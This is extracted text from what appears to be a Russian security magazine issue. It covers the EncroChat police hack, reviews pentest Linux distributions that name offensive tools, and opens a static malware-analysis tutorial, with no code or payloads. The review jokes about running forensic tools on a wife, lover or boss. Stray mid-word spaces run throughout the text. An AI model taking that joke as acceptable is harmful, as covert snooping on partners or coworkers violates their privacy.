Журн алист ы рас сказ ыва ют, что купить устрой ство EncroChat было совс ем
неп росто. Собс твен ный источник изда ния (в прошл ом польз ователь En‐
croChat, ныне отбы вающий тюрем ный срок) сооб щил, что прио брел свой
телефон в обычн ом магазин е, у его хозяи на. Однак о все про исхо дило в пере‐
улке позади зда ния и «выг лядело как нар косделк а».
ВНЕДРЕНИЕ В ENCROCHAT
Прав оох раните ли говорят, что сов мес тная опе рация, получив шая назв ание
Venetic, ста ла одной из крупн ей ших в истор ии и уже прив ела к арес‐
ту 746 человек, изъ ятию 54 мил лионов фунт ов стер лингов наличн ыми (при‐
мерн о 67,4 мил лиона дол ларов), 77 еди ниц огнес трельн ого ору жия (авто‐
маты, пис толеты), четыре гра наты и более 1800 пат ронов, 55 дорогос тоящих
авто мобил ей и более двух тонн нарк отиков.
К при меру, фран цуз ские пра воох ранител и отка зались рас крыв ать под‐
робнос ти сво их рас след ован ий и их резуль таты, но голл андс кие власт и
заявил и, что ликв идиро вали 19 лабора торий по про изводст ву син тетичес ких
нарк отиков, арест овали более 100 подоз рева емых, изъя ли более 8000 килог‐
раммов кока ина, 1200 килогр аммов метамф етами на, десят ки пис толетов,
люкс овых авто мобил ей (вклю чая машины со скрыт ыми отсек ами) и часов,
а такж е почт и 20 мил лионов евро (22,5 мил лиона дол ларов) наличн ыми.
Бри кеты с кока ином. Фото: SWROCU
Изъ ятая налич ность. Фото: NCA
Рас след ова ние началось еще в 2017 году во Фран ции под кодовым назв ани‐
ем Emma 95. Затем оно расп ростран илось в Нидер ланды, где носило имя La‐
mont, и в ито ге пра воохр аните ли объе дин или усил ия, к делу под клю чились
Великоб ритания, Швец ия и Нор вегия.
След оват ели рас сказ ыва ют, что нашл и спос об взлом ать EncroChat,
не взла мывая само шифр ование плат формы. Вмес то это го нес коль ко
месяцев назад фран цузс кие прав оох раните ли про ник ли в сеть EncroChat
и внедр или на устройс тва комп ании мал варь, которая поз волила читать сооб‐
щения прест упни ков, преж де чем те были отправл ены. В итог е евро пей ские
полицей ские изуч или «более ста мил лионов зашиф рованн ых сообщ ений»
и стал и свид ете лями того, как нар которг овцы договар ивал ись об опто вых
сдел ках, прес тупник и обсуждал и убий ства и отмы вание денег.
«Эти сообщ ения дали предс тавл ение о бес пре цеден тно огромном
количест ве серье зных прест упле ний, включ ая дан ные о круп ных меж-
дународ ных пост авках нарк отиков и [мес тонахож дении] нар колабо-
рато рий, убий ствах, гра бежах, вымогат ельс тве, тяж ких нападе ниях
и захв атах заложн иков. Соверш енно проз рачным и ста ли меж дународ-
ные коридор ы для пост авок нарк отиков и отмы вания денег», — пишут
гол ландс кие прав оох ранительн ые орган ы.
«То, что обычн о воз можно толь ко в полицейс ких трил лерах, про-
исход ило на наших гла зах, — добавл яет глав а Нацио наль ного депар-
тамент а уго ловн ых рас сле дова ний Нидерл андов Энди Краа г. — Мы
читали сообщ ения, которые давали нам пред ставл ение о пов седнев-
ной жиз ни кри миналь ного мира».
ПАНИКА В КРИМИНАЛЬНОМ МИРЕ
Еще в мае текуще го года некото рые польз овате ли EncroChat замети ли проб‐
лему: функ ция обну ления на их телефон ах не работа ла. Как рас сказ ал Vice
Motherboard ано нимн ый сот рудник EncroChat, тог да в ком пании соч ли, что
поль зователь, веро ятно, прост о забыл свой PIN‐код или фун кция обнул ения
была некор рек тно нас трое на.
Но уже в след ующем месяце EncroChat уда лось отслед ить одно из таких
«глючн ых» устрой ств модели X2. Выясн илось, что проб лема не в польз овате‐
ле и не в нас тройк ах: на телефо не наш ли малв арь, а устройс тво ока залось
взло мано. Прич ем вре донос ная прогр амма была спец иаль но созд ана
для модели X2. Она не толь ко мешала кор рек тной работе фун кции очист ки
девайс а, но и была раз работа на таким образ ом, чтоб ы скрыв ать себя
от обна ружен ия, записы вать пароль блок ировк и экран а и кло ниров ать дан‐
ные при ложе ний.
По нимая, что это ата ка, в течение сле дующих дней EncroChat выпуст ила
обновлен ие для сво их устройс тв, чтоб ы восс та новить их фун кцио нальн ость
и собр ать информа цию о мал вари, которая прон икл а на телефон ы комп ании
по всем у миру. Разр абот чики EncroChat ста ли уве дом лять поль зовател ей
и сле дили за про исхо дящим уда ленн о, не имея возм ожнос ти получить
физическ ий дост уп к устрой ствам.
Одн ако поч ти сра зу посл е релиза это го пат ча ата кующие снов а нанес ли
удар: мал варь вер нулась, и теперь она мог ла еще и измен ить пароль для бло‐
киров ки экран а, а не прос то записать его.
Опе рато ры EncroChat начали паников ать. Они разос лали сво им поль‐
зовател ям сообщ ение, информир уя их о про долж ающейс я ата ке. Так же ком‐
пания увед оми ла о ситуа ции сво его пров айд ера SIM‐карт, голл андс кую
телеком муникац ион ную комп анию KPN, и та забл окиров ала для мал вари
соедин ения с сер верами ата кующих. Но, судя по все му, к тому момент у KPN
уже сот рудни чала с влас тями (предс та вите ли KPN пока отказ ываю тся от ком‐
ментар иев), поэто му вско ре ком пания удал ила бран дмау эр, что вновь поз‐
волило серв ерам ата кующих обме нивать ся данн ыми с телефон ами
EncroChat.
Тог да в EncroChat решили пол ностью свор ачив ать все опе рации. «Мы при‐
няли решение немед ленно отклю чить все SIM‐карт ы и сеть», — расс каз ыва ет
сот рудник комп ании. К тому момен ту в комп ании уже понима ли, что им про‐
тивост оит не очер едн ая кон куриру ющая фирм а, а прав итель ство.
«Сегод ня наш домен незаконн о захв атили государс твенн ые структ уры.
‑Они использ овали наш домен для запуск а ата ки. <…> Из за уров ня
сложн ости атак и и вред оносн ого кода мы боль ше не можем гаран-
тировать безопас ность вашего устройс тва. Советуе м вам немедл енно
отклю чить и физическ и унич тожить устрой ство», — такое сообщ ение
опер атор ы EncroChat отправ или всем свои м польз овате-
лям 13 июня 2020 года.
Со общен ие от опер ато ров EncroChat. Фото: Европ ол
Пос ле это го сообщ ения от EncroChat мног ие поль зовате ли запаник овал и.
Судя по скрин шотам, оказ авш имся в рас поряжен ии Vice Motherboard, некото‐
рые польз овател и даже пытались опред елить, была ли зат ронута атак ой их
конк рет ная модель телефон а.
Но было уже слиш ком позд но. К этом у врем ени евро пейс кие прав оох‐
ранитель ные орган ы уже давн о извлекл и мно жес тво дан ных с устрой ств En‐
croChat по всем у миру, и перед ними пред ста ли мног омилл ион ные нарк оим‐
перии и прес тупные син дикаты в виде текс тов ых сообщ ений и фотог рафий.
У полиции было бук валь но все: фотогр афии огромных стоп ок нарк отиков,
лежащих на весах; килог раммов ые бри кеты кока ина; сум ки, доверх у забитые
экстаз и. Сооб щения о запл аниро ван ных сделк ах и пос тавках. Фотог рафии
чле нов семей пред полага емых прес тупни ков и обсужде ния их личн ых дел.
Посл е это го прав оохр анител и начали дей ствов ать: посл едова ли кон‐
фискац ии груз ов, рейд ы на торг овцев нарк отикам и, мас совые арест ы.
И общим зна менат елем про исхо дящег о была ком пания EncroChat.
Жур налист ы отме чают, что, по слов ам источник а, близк ого к поль зовате‐
лям EncroChat, крим инальн ый мир в смят ении, так как лишилс я одног о
из основных спо собов свя зи. Мно гие клие нты EncroChat сейч ас пытаю тся
пересечь гран ицы и избе жать задерж ания. Так же источник отмет ил, что
покупать нар котики оптом стал о нам ного сложн ее.
НЕ ПЕРВЫЙ СЛУЧАЙ
Ликв идация EncroChat и арест ы поль зовате лей — далеко не бес прец еден‐
тный случ ай. К прим еру, в 2018 году был арест ован исполнит ель ный директ ор
ком пании Phantom Secure, которая про извод ила «нев зла мыва емые» телефо‐
ны для прест упник ов.
Phantom Secure раз мещала свои сер веры в Панаме и Гонк онге и исполь‐
зовала вир туаль ные прок си, что бы скрыв ать их физическ ое мес тополо жение.
Так же плат форма помогал а удал ен но унич тожать дан ные на устройс твах, уже
изъя тых прав оохр анительн ыми орга нами.
Под писка на серв ис Phantom Secure стои ла 2000–3000 долл аров за пол‐
года. Для защиты ано ним ности кли ентов и деятельн ост и самой Phantom Se‐
cure сдел ки про изво дились в цифр овых валютах, в том числ е в бит кой нах.
За эти деньг и человек получал устройс тво, где и софт, и железо были
модифи циро ваны таким обра зом, что бы обесп ечить ано нимн ость и шиф‐
рование всех комм уникац ий. GPS‐навигац ия, микр офон, камера, дос туп
в интернет, мес сенд жер и даже тех нология переда чи голоса — все было сде‐
лано с учет ом осо бых нужд кли ентов.
Те лефо ны Phantom польз овались боль шой популяр ностью в прест упном
мире, в том чис ле у самой верх ушки транс нац иональн ых прест упных груп‐
пировок. В част ност и, чле ны извес тно го нарк окарт еля Синалоа в Мекс ике
были кли ентам и комп ании Phantom Secure.
Дру гую подоб ную комп анию, MPC, соз дала орган изо ванн ая прест упная
групп а из Шот ландии, связ ан ная с нар которг овлей.
Жур налис ты Vice Motherboard отме чают, что кон куренц ия в этой области
велика. Так, комп ании регулярн о расп ростран яют слух и о небезо пасн ости
устройс тв друг дру га и заг ружаю т на YouTube видео, диск ред итир ующие кон‐
курен тов. Или, к при меру, EncroChat раньш е вооб ще бло киро вала домены
дру гих фирм.
Дру гие ком пании, предл ага ющие услуг и защищенн ой свя зи, сраз у же
попытал ись запол нить про бел, образ овавш ийс я посл е исчезно вения En‐
croChat. К при меру, комп ания Omerta уже нацели ла свою рек ламу на бывш их
клие нтов EncroChat.
«EncroChat взлом ан, поль зовател ей спа лили и арест овываю т. КОРОЛЬ
УМЕР! Вы чудом избеж али недав него „масс ового вымира ния“? Праз-
днуйт е со скидк ой 10%. При соеди няйт есь к семье Omerta и общай-
тесь без наказанн о», — гла сит рекл ама Omerta.
Пред став ите ли Omerta сообщ или журн алист ам, что в посл еднее врем я у них
дей ствит ель но набл юда ется при рост тра фика.
COVERSTORY
Hackcat
Еще больше котов — на
https://t.me/meawdream
[email protected]
Михаил Артюхин
[email protected]
БОЕВОЙ
LINUX
ОБЗОР САМЫХ МОЩНЫХ
ДИСТРИБУТИВОВ
ДЛЯ ПЕНТЕСТОВ И OSINT
Соб ирать свою кол лекцию хакер ских тулз — это отлично,
но теперь при нято брать за осно ву один из спе циали зиро‐
ванн ых дист ри бутив ов. Обычн о это Kali, но мы рас смотр им
не толь ко его, но и дру гие дист ры для пент еста, подч ас
не менее эффективн ые, а в каких‐то областях и более полез‐
ные.
Дис три бути вов для пен теста множ ес тво. Одни популярн ы, дру гие — не очень,
но все они пресл еду ют цель дать хакеру удобн ый и надеж ный инс трум ент
на все случ аи жиз ни. Боль шинст вом из прогр амм в сос таве таких каст омизи‐
рован ных сбо рок средн ий хакер никог да не восп оль зует ся, но для пон тов
стат ус ности их добавл яют («Смот ри, у тебя 150 ути лит, а у меня — 12 000!»).
Сегод ня мы пост арае мся сдел ать обзор больш инст ва интер есн ых дис три‐
бути вов, как популярн ых, так и незасл ужен но забытых. Если же мы что‐то
упус тили — не стесн яй ся использ овать комм ента рии. Поеха ли!
WARNING
Хот я эти дис триб ути вы и пред назнач ены для атак,
ответст вен ность за их использ ование несешь
тольк о ты! Не забывай, что при мене ние этих зна‐
ний во вред карае тся по закону.
NST
• Пер вый релиз: 2003 год
• Ос нован на: Fedora
• Плат формы: x64
• Граф ическ ая обо лоч ка: MATE
Скач ать
Начн ем с мало извест но го, но отто го не менее интер ес ного дист ри бутив а.
NST (Network Security Toolkit) основ ан на Fedora и предн азна чен для сетевых
атак. В осно ве интерфейс а — MATE, который вызыва ет ощу щение начала
нулевых. В ком плект е идет нес коль ко десят ков самых важ ных инст рум ент ов,
в основном сетевые скан еры, кли енты для всев озм ожных служб и раз ного
рода перех ватчик и тра фика. Но не хват ает таких полезн остей, как, нап ример,
masscan, и даже баналь ного aircrack, хотя airsnort имее тся.
Осн овная часть софт а лежит в папк е Internet
Больш е все го вкусн остей мож но найт и в папк е Applications → Internet. Тут
у нас и Angry IP Scanner, написан ный, кстат и, на Java, и Ettercap, и даже
OWASP ZAP, о котором мы уже писали в «Хакере». Есть неп лохой сборн ик
модулей для все воз можног о спуф инг а и скан а у пакета netwag. В деле он
показал себя неп лохо, жаль тольк о, не очень удоб ен и жут ко уста рел.
Весь про веренн ый мной софт работае т прек расно. В общем, всем ску‐
чающим по древ нему интерфейс у и прив ычн ым инс тру мент ам рекомен дует‐
ся.
KALI
• Пер вый релиз: 2013 год
• Ос нован на: Debian
• Плат формы: x86, x64, ARM, VirtualBox
• Граф ичес кая обол очк а: Xfce
Ска чать
Как ты, конеч но, знае шь, Kali — один из самых рас пиаренн ых дис три бути‐
вов для хакеров, и было бы стран но, если бы мы про него не написал и. О нем
зна ют даже школьн ики, а с отно ситель но недавн их пор он дост упен в виде
при ложен ия прям о из Microsoft Store! Конечн о, дос тупность — несом ненный
плюс, но сис тема слег ка перег ружена набором инс тру мен тов (хотя и не так
сильн о, как BlackArch), к тому же часть из них из коробк и работа ет кри во
или не работае т вообщ е.
За щиты от дурака в Kali тоже не пред усм отрен о. Как показы вает практ ика,
не всем польз овате лям понят но, что не сто ит делать эту сис тему основной.
От ядра до обо лоч ки она была созд ана и оптим изи рова на для выпол нения
боевых задач на фронт ах ИБ и плох о при год на для спок ой ной ежедн евной
работы. Мног ие нуж ные в быту механизм ы там поп росту отсутс твую т, а попыт‐
ка их уста новить, ско рее всег о, вызовет сбои в норм альн ой работе ОС, если
не выведет ее из строя пол ностью.
Ко роче, Kali как спичк и — мощн ая шту ка в уме лых руках, ее лег ко дост ать,
но детям луч ше не давать. Охва тить разом все воз можные офи циаль ные
и неофиц иаль ные утил иты (а их, на минуточ ку, боль ше 600) этой сист емы
не предс тав ляет ся возм ожным хотя бы потому, что пос тоянн о появ ляют ся
новые и новые модули, фрейм ворк и, ути литы и проч ие приб ам басы.
Kali предн азна чена для широког о спект ра задач, но основная из них —
ата ки в сетевой сре де, напр имер, поиск уязв имос тей в веб‐при ложен иях
и получе ние дост упа к бес пров од ным сетям. Как насл едник BackTrack, Kali
вообщ е непл охо присп особ лена для работы с бесп ров од ными каналам и свя‐
зи, в осо бенн ости Wi‐Fi. Про вер ка на прочн ость уда ленн ых хост ов тоже воз‐
можна с помощью, напр имер, Metasploit (под робнее о нем — в нашем не‐
дав нем обзо ре), но именн о на работу с Wi‐Fi ори ентир ова но ядро и зна‐
чительн ая часть инс трум ент ов.
Еще из плю сов отме чу наличие в штат ной пост авке больш ого количес тва
сло варей для раз личных атак, не тольк о на Wi‐Fi, но и на аккау нты в интерне те
и на сетевые служ бы.
Kali работа ет в WSL
Для еще больш его удобст ва исполь зования на офи циаль ном сай те предл ага‐
ется вер сия дис триб утив а для вир туальн ых машин, ведь при взлом е куда
разум нее использ овать сис тему без устан ов ки — мало ли кто потом будет
копатьс я в тво ем ком пе!
Верд икт такой: если умее шь поль зоватьс я — клас сная штук а, но не взду‐
май показыв ать ее ребенк у. Один из автор ов видел, что будет, если нарушить
это ука зание.
DEFT
• Перв ый релиз: 2005 год
• Ос нован на: Ubuntu
• Плат формы: x86
• Гра фичес кая обо лочк а: LXDE
Скач ать
Ро дина DEFT — сол нечная Итал ия, и он щедр о, как пицц а сыром, посыпан
разн ообр азным и инст ру мен тами для раз ведки и взло ма. При этом они
не прим отан ы к дист ри бутив у синей изо лент ой, а впол не гар монич но встро‐
ены в него. Все вмест е напоми нает инте ресн ый и полезн ый в жизн и швей‐
царс кий нож.
Раз работан DEFT на плат форме Lubuntu и снаб жен удоб ным гра фичес ким
интерфейс ом. В про дукт вход ит набор про фильн ых утил ит, начиная с анти‐
виру сов, сис тем поис ка информац ии в кеше брау зе ра, сетевых ска неров
и друг их полез ностей и заканч ивая инст рум ен тами, которые необ ходимы
при поис ке скры той информац ии на дис ке.
Ис польз уя эту ОС, не сост авит труд а получить дос туп к стер тым, зашиф‐
рован ным или повр ежден ным данн ым на раз личных видах физичес ких
носите лей.
Осн овной инс тру мен тарий пря чет ся в раз деле DEFT, который, в свою оче‐
редь, находит ся в некотор ом подобии меню «Пуск».
Изн ачаль но этот дис три бутив был предн азна чен для нужд сетевой полиции
и спе циалис тов по реаги рован ию на инци дент ы в области ИБ, поэтом у
еще одна сильн ая сто рона DEFT — это кон курент ная разв едка, в том чис ле
ана лиз взаи мос вязей аккау нтов соцс етей.
Есть даже инте рес ная утил ита для обна руже ния геолок ации задан ного
аккау нта LinkedIn или Twitter. Я не смог про верить, наск ольк о эффективн о
это работа ет в дан ный момент, но с опре делен ием прин адл ежнос ти акка унта
к стран е и городу она справ ляет ся.
В отли чие от Kali Linux или Tsurugi, в DEFT защита от дурака встро ена.
Без дол жной под готовк и почт и ни один инст рум ент поп росту не запуст ить,
а без глу боко го понима ния работы защит ных механизм ов тут вооб ще делать
нечего.
Бук валь но кажд ое при ложе ние или опция тре бует прав root, так что не спе‐
ши сраз у запус кать все под ряд или созд авать непр ивилег иров анн ого поль‐
зовател я.
Так же я обна ружил «подароч ек»: нес коль ко репозит ори ев, отку да DEFT
берет обно вы, зак рыты клю чами. Пару дней я рылс я по форумам, пока
не нашел, откуд а запр осить данн ые, да и сами ключ и тоже нашл ись.
В ито ге эта сис тема хороша для форен зики и рас сле дова ния инци дент ов,
в осо бен ности если есть физичес кий дост уп к носител ям информа ции —
будь то диск, флеш ка или смарт фон (хакера, началь ника, сот рудни ка, кон‐
курен та, жены, любовн ицы, ее бати — нужн ое под черк нуть).
TSURUGI
• Перв ый релиз: 2018 год
• Ос нован на: Ubuntu
• Плат формы: x86 (част ично), x64
• Гра фичес кая обо лоч ка: MATE
Ска чать
Этот дист ри бутив вооб ще не очень известен в кру гах ИБ‐спе циалис тов —
воз можно, из‐за сво ей молодост и. Одна ко Tsurugi — детище, рожд енное сов‐
мес тны ми уси лиями соз дателей DEFT и Kali. Что из это го выш ло? Давай пос‐
мотрим!
Tsurugi (это сло во озна чает двур учн ый япон ский меч) соз дан на основ е
Ubuntu, в качес тве GUI использ ует ся MATE. Пред назнач ен он боль ше
для форен зики или OSINT, нежели для пен теста, однак о его инс тру мен тарий,
как и некото рые осо бен ности, позв оляю т использ овать его и в этом нап‐
равлен ии. Изна чальн о сист ема пост авля ется в режиме live‐обра за, но при
желании можн о про извести пос тоян ную уста новк у.
Стан дарт ный рабочий стол
Войд я в сис тему, видим несл ожный GUI, пред ус мотрит ель но обвеш анн ый
со всех сто рон видж етами показа телей загр узки проц ес сора, жес тких дис ков,
опер ативн ой памяти, скор ос ти сети и про чего.
Да, рука созд ателей Kali тут доволь но сильн о замет на. В глаз а сраз у бро‐
сает ся обил ие пред уст ановл енных инс трум ен тов, которые нуж ны далеко
не всег да. При этом интерфейс сис темы выг лядит более чем минима лис‐
тично и комп ак тно. А вот логика работы сис темы безопас ности, как и работы
с вебом или защиты от отслеж иван ия, основ ана на луч ших прак тиках DEFT.
Весь основной арсен ал рас положен в Applications → TSURUGI.
Мен ю Tsurugi
Здесь и работа с образ ами, и ана лиз вре доно сов, и вос стан овл ение дан ных,
и, как упо мина лось, набор утил ит для OSINT.
Сто ит иметь в виду, что эта ОС, как и Kali, не име ет защиты от кри вых рук.
Она подой дет тем, кто имее т хорошие навыки работы с Linux и дей ству ет пре‐
дус мотри тельн о и вдум чиво. Как и положе но остро му япон ско му мечу!
Обш ирный инст рум ент арий поз воля ет использ овать сист ему как муль‐
титул для широко го спект ра задач. Пусть Tsurugi и немн ого смах ивае т на Kali,
серье зные разл ичия все равн о име ются. При том что некотор ые из утил ит так
же, как и в Kali, работа ют некорр ект но или не работаю т вооб ще, проц ент
пробл емных тулз здесь намн ого мень ше, и вид но, что об этом кто‐то заботит‐
ся.
Есл и по каким‐то прич инам ты не хочешь использ овать Kali, то Tsurugi ста‐
нет дост ойн ым инс тру мен том в тво ем наборе. Пять звезд не пост авим
как минимум потому, что один из автор ов это го обзор а отлож ил кир пич
от звук а меча при старт е ОС… Впро чем, давай не будем о грус тном.
→Продолжение статьи
COVERSTORY ← НАЧАЛО СТАТЬИ
БОЕВОЙ LINUX
ОБЗОР САМЫХ МОЩНЫХ ДИСТРИБУТИВОВ
ДЛЯ ПЕНТЕСТОВ И OSINT
PARROT
• Перв ый релиз: 2013
• Ос нован на: Debian
• Плат формы: x86, x64, ARM
• Гра фичес кая обол очк а: MATE
Скач ать
Этот крас ивый дист ри бутив Linux осно ван на Debian и разр аботан коман дой
Frozenbox спе циальн о для тес тов безопасн ости компью тер ных сист ем, поис‐
ка и оценк и раз лично го ряда уяз вимост ей.
Что же внут ри? В качес тве окру жения рабочег о стол а здесь все тот же
MATE. Опыт использ ования (субъе ктивно) при ятный.
Сверх у, в раз деле Application, ты найд ешь ути литу Anon Surf. Одна из осо‐
бенн остей Parrot — в ней пред ус тановл ены некото рые средст ва ано ними‐
зации, и при выборе Anonsurf Start весь тра фик сист емы будет перенап‐
равлен через Tor. В этом же раз деле есть возм ожность использ овать DNS
про екта OpenNIC — это внен аци ональ ная аль тер натива реест рам доменов
верх не го уров ня. Здесь же, выб рав параметр Check IP, можн о пров ерить
текущий внеш ний IP.
Вто рой раз дел — Cryptography. Здесь сто ит обра тить вним ание на утил иту
GPA — это гра фичес кий интерфейс прогр аммы GnuPG, пред назна ченн ой
для шифр ования информа ции и созд ания элек тронн ых цифр овых подписей.
Это, по сути, альт ерн атива шиф рованию PGP. А если тебе нужен GPG, то
под рукой будет утил ита zuluCrypt — ана лог VeraCrypt, который позв оляе т
шифр овать пап ки, раз делы, флеш ки и проч ее.
След ующий (и самый инте рес ный) разд ел — Parrot. В нем собр аны именн о
те утил иты для тес тирован ия защищен ности компью тер ных сист ем, из‐за
которых эта ОС попала в наш обзор. Мног ие из пред ставл енных утил ит нам
уже извес тны по Kali Linux, но есть и уник альн ые.
Подр обнее хотелось бы остан овить ся на вклад ке «Интернет». Здесь мы
видим пре дус танов ленный Tor Browser и бит койн‐кошелек Electrum, а так‐
же ути литу XSSer — фрейм ворк для обна руже ния и эксп лу ата ции XSS‐уяз‐
вимос тей в веб‐прил ожен иях. Тут же есть почт овый клие нт Claws Mail,
это пол ноцен ный поч товый кли ент с подд ерж кой шифр ования GPG. Бонусом
идет Ricochet IM — децен трал изо ван ный ано нимн ый мес сенд жер, работа‐
ющий через сеть Tor.
Это, пожалуй, все осо бенн ости Parrot Security OS, о которых хотелось бы
рас ска зать. Как вид но, Parrot OS под ходит не тольк о для тест ов на прон ик‐
новение, она может и слу жить ОС для ежедн евно го использ ования тем, кто
знае т, зачем им это нуж но.
Нам Parrot показал ась качест вен но и удобн о сдел ан ной ОС. При ятно
работать с сист емой, где не нужн о пред варительн о починять инст ру мен ты.
BLACKARCH
• Перв ый релиз: неиз вес тно
• Ос нован на: Arch
• Плат формы: x64
• Гра фическ ая обо лоч ка: отсутс тву ет, есть нес кольк о менед жеров
рабочег о сто ла
Скач ать
BlackArch — самый крупн ый по объ ему обра за дист ри бутив. Акту альн ая
вер сия занима ет боль ше 14 Гбайт! Загр ужать, кста ти, при желании можн о
через торр ент, и сидов всегд а мно го.
Оце ни дру желю бие интерфейс а: если тебе уда лось выкачать этог о монс‐
тра и запуст ить его, нужн о ввест и логин и пароль, о которых ты дол жен про‐
честь на сайт е в инст рук ции по устан ов ке (это root/blackarch, если что).
Про live‐поль зовате лей, видимо, забыли.
Даль ше: посл е логина не видн о никаких намеков на меню или что‐то
в этом роде. Перед нами практ ическ и голый Fluxbox, поэтом у оно вызыва ется
по кли ку прав ой кноп кой мыши в любом мест е рабоче го стол а.
Групп ы при ложен ий BlackArch
Все при ложе ния удобн о разл ожены по катего риям в под меню blackarch
основно го меню. Предс тав лены 49 категор ий, в которых есть инс трум ент ы
на любой слу чай жизн и. Навигац ия по меню с помощью мыши, как в Windows?
О нет, в этом дис триб утив е про мышь сме ло можн о забыть. Толь ко кла виату‐
ра, толь ко хард кор! С друг ой стор оны, раз ты решил свя затьс я с *nix‐сис‐
темами и взло мом, глу по рас счит ывать на что‐то друг ое.
Что касае тся собст венн о инст ру мен тов, то тут предс тавл ены все популяр‐
ные и не очень тул зы для взло ма, вклю чая, конеч но, такие знак овые,
как Metasploit и BeEF XSS. Делать обзор всех инст рум ент ов это го поис‐
тине огромно го набора — занятие еще более без надежн ое, чем в случ ае
с Kali и Parrot. Так что я прой дусь по вер хам, а ты, если будет инте рес но, смо‐
жешь углуб итьс я в чте ние документ ации нас толь ко, наск ольк о посч итае шь
нуж ным.
Wine атак ует!
BlackArch не стес няет ся исполь зовать Wine для запус ка некото рых «нерод‐
ных» прил оже ний. В качес тве прим ера — mft2csv (на скринш оте выше),
который пар сит MFT фай ловой сист емы NTFS для даль нейшег о ана лиза.
В наличии имее тся и Java (OpenJDK 14.0.1).
MSF тоже на мест е
Тер минал, как и в целом граф ическ ая обо лоч ка сист емы, выгл ядит уны ло,
зато верс ии соф та актуа льн ые. С одной сто роны, кажет ся, что хотели сде лать
как в кино про хакеров, с дру гой — сист ема все же вполн е юза бель на, хотя
и треб ует серь езных навыков.
В общем, если ты не готов про бирать ся через минн ое поле конф игов,
аргум ент ов при запус ке софт а, гуг ленья на каж дый чих и проч ие пре лест и
это го муль титула — смот ри в сто рону Kali и Parrot, там хоть что‐то мож но сде‐
лать без наст оль ного справ очн ика. К нович кам BlackArch более чем нед‐
ружелюбн а. И, ясен пень, не вздум ай став ить ее как основную.
BACKBOX
• Перв ый релиз: 2010
• Ос нован на: Ubuntu
• Платф ормы: x64
• Граф ичес кая обо лоч ка: Xfce
Скач ать
И под конец — еще один дис триб утив, стоя щий особн яком от осталь ных.
BackBox не прет ен дует на зва ние лучш его хакерс ко го мульт итула, зато он
как нельз я луч ше подх одит для пов седневн ого использ ования. Граф ичес кая
обо лочк а тут Xfce, что минимиз ируе т пот реблен ие сис темных ресур сов.
С сайт а дост упны для скач иван ия два вариа нта — ISO и Torrent. Образ а
для вир туальн ых машин нет.
BackBox осно ван на Ubuntu (точн ее, Xubuntu), что делае т удобн ым его
использ ование как домаш ней ОС, к тому же по Ubuntu дост упна куча
докумен тации и форумов с отве тами на расп ростра ненн ые воп росы. Тут нет
каких‐то тви ков ядра, так что никакие махина ции ничего не испортят. Такие
осо бен ности дела ют этот дистр прек расным выбором для начинаю щег о пен‐
тестер а.
Ме ню BackBox Linux 7
Инс трум ен тов из коробк и пос тавляе тся не так и мно го, все го окол о 200 штук,
но для перв ых шагов в ИБ впол не дос таточн о. В осталь ном BackBox —
это прос то Xubuntu со все ми ее ба гами фичами и фун кция ми.
Важ ный плюс, на который я не могу не обра тить вни мание, — все инст ру‐
мент ы очень удобн о сгрупп ирован ы в меню. Даже если ты не зна ешь ни одно‐
го инс тру мент а, напр имер, для атак на Wi‐Fi, ты с легк остью найд ешь их.
Сказ ать больш е осо бо нечего, прост о польз уйся на здо ровье.
СВОДНАЯ ТАБЛИЦА
ВЫВОДЫ
Тут дол жна была быть лекц ия, что недопус тимо исполь зовать больш инст во
из этих дис триб утив ов как основную ОС, но ее не будет. Проб уй раз ные дис‐
тры, выбирай тот, что бли же тво ему сер дцу, и жела ем тебе уда чи. А еще —
что бы из‐за исполь зования матери алов этой статьи тебе никогд а не понадо‐
билась нед ав няя замет ка об отмазках в суде.
ВЗЛОМ
МАЛВАРЬ
НА ПРОСВЕТ
Евгений Дроботун
Постоянный автор «Хакера»
УЧИМСЯ БЫСТРО ИСКАТЬ
ПРИЗНАКИ ВРЕДОНОСНОГО КОДА
Пред ставь, что на твое м компью тер е воз ник неиз вес тный
исполняе мый файл, но отправл ять его на про верк у в VirusTo‐
tal ты почему‐то не хочешь. Напр имер, потому что он может
уйти в исслед ова тель скую лабора торию, где его прис таль но
изу чат. В этой статье я покажу тебе, как про вест и такое
исслед ован ие самос тоятельн о.
В целом, если говорить про ана лиз исполняе мых фай лов, мож но выделить
два подх ода — это ста тичес кий ана лиз и динами чес кий анал из.
Вид ы анал иза исполняе мых файл ов
Стат ичес кий ана лиз пред полагае т анал из файл а без его запус ка на выпол‐
нение. Он может быть базовым — в этом слу чае мы не ана лизи руем непос‐
редст вен но инс трук ции про цес сора в фай ле, а про изво дим поиск нетипич ных
для обычн ых файл ов арте факт ов (напр имер, таких как стро ки или назв ания
и пос ледова тельн ос ти API‐функ ций), либо расш иренн ым — в этом слу чае
файл дизас семб лир ует ся и прои звод ит ся исслед ован ие инс трук ций, поиск их
харак терных для вред онос ных прогр амм пос ледоват ель ност ей и опре деле‐
ние того, что имен но делала прогр амма.
Ди нами ческ ий ана лиз закл юча ется в исслед ова нии фай ла с его запуск ом
в сист еме. Он тоже может быть базовым и расш ирен ным. Базовый динами‐
ческ ий анал из — это иссле дова ние фай ла с его запуск ом без исполь зования
средств отладки, он зак лючае тся в отсле жива нии событий, свя занн ых с этим
файл ом (напр имер, обра щение к реест ру, диск овые опе рации, вза имо дей‐
ствие с сетью и т. п.). Рас ширен ный динамич ес кий анал из зак лючае тся
в иссле дова нии поведен ия запущен ного фай ла с при менен ием средств
отладки.
В этой статье я расс каж у о базовых тех никах стат ическ ого ана лиза. Его
преи мущ ест ва:
• поз воля ет получить результ ат дос таточн о быс тро;
• без опа сен для сис темы при соб людении минималь ных мер пре дост орож‐
ности;
• не тре бует подг отовк и спец иаль ной сре ды.
Ос новной недос таток базовог о ста тичес кого ана лиза — это его низ кая
эффективн ость при ана лизе и рас познав ании сложн ых вред оносн ых прог‐
рамм, напр имер упа кован ных неиз вест ным упак овщ иком или исполь зующих
пол ное либо час тичное шиф рование файл а с при менен ием прод винутых
алго рит мов.
ИНСТРУМЕНТАРИЙ
HEX-редакторы
Один из основных инст ру мен тов стат ическ ого базовог о анал иза — это HEX‐
редакт ор. Их мно го, но в перв ую очер едь необ ходимо отмет ить Hiew.
Это безусл овный лидер и бест сел лер. Помимо непос редст вен но функ ций
HEX‐редак тора, в нем реали зова но еще мно го допол нитель ных воз можнос‐
тей, свя зан ных с ана лизом фай ла: это и дизас семб лер, и прос мот рщик сек‐
ций импорта и экспорт а, и анал иза тор заголов ка исполня емых фай лов. Глав‐
ный недост аток — все это не бесп лат но (хотя и весьм а недоро го —
от 555 рубл ей).
